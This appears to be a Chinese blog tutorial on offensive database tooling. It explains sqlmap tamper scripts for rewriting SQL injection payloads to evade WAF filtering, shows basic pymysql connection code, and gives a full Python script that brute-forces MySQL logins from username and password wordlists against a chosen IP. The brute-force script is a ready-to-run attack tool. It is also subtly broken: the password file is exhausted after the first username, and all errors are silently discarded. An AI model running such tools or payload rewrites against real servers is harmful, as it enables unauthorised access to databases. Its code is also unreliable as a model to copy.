tamper脚本&mysql爆破脚本编写

一、tamper编写

tamper概念:

sqlmap的--tamper参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等。

基本操作:

查看脚本:python sqlmap.py --list-tampers

使用脚本:python sqlmap.py --tamper=script_name

示例tamper脚本编写:

#!/usr/bin/env python          #到环境设置里查找python的安装路径,并调用该路径下的python解释器

from lib.core.enums import PRIORITY       #导入sqlmap中lib.core.enums中的PRIORITY函数
from lib.core.common import singleTimeWarnMessage
singleTimeWarnMessage('warning')        #设置告警信息,用于在控制台中打印出告警信息
__priority__ = PRIORITY.LOW    #当前脚本调用的优先级(一般)

def dependencies():            #声明当前脚本适用/不适用的范围,可以为空
    pass

def tamper(payload,**kwargs):    #定义一个tamper函数,用于篡改payload

    '''

    Args:
        payload: 传进来的有效载荷
        **kwargs:字典参数

    Returns:

    '''

    return payload.replace(',','test') if payload else payload        #将payload中的逗号替换为test

 如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义的PRIORITY的优先级参数调用,较高级别的tamper,如果有两个tamper需要同时使用,需要注意优先级问题。

二、pymysql库的基本使用

import pymysql
#建立连接
conn = pymysql.connect(
    host = '127.0.0.1',
    port = 3306,
    user = 'root',
    password = 'root',
    database = 'mysql',
    charset = 'utf8'

)

#创建游标对象
cursor = conn.cursor()
#执行SQL语句
cursor.execute('select * from db')
#获取结果数据
# print(cursor.fetchone())
print(cursor.fetchall())
# print(cursor.fetchmany())
#关闭数据库
cursor.close()

三、mysql爆破脚本编写

import pymysql
import argparse

def bruteforce(user,password,ip):
    with open(user,'r',encoding='utf8') as u:
        with open(password,'r',encoding='utf8') as p:
            for i in u:
                for j in p:
                    i = i.strip('\n')
                    j = j.strip('\n')
                    try:
                        conn = pymysql.connect(
                            host=ip,
                            user = i,
                            password = j,
                            database = 'mysql',
                            port = 3306,
                            charset = 'utf8'
                        )
                        if conn:
                            print(f'[+] 爆破成功: {i}/{j}')
                            conn.close()
                    except:
                        pass
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u','--user',dest='user',help='input username.txt path',default='root')
    parser.add_argument('-p','--password',dest='password',help='input password',default='root')
    parser.add_argument('-i','--ip',dest='ip',help='input IP',default='127.0.0.1')
    option = parser.parse_args()
    if option.user and option.password:
        bruteforce(option.user,option.password,option.ip)
    else:
        print('未指定username.txt或password.txt')

if __name__ == '__main__':
    main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值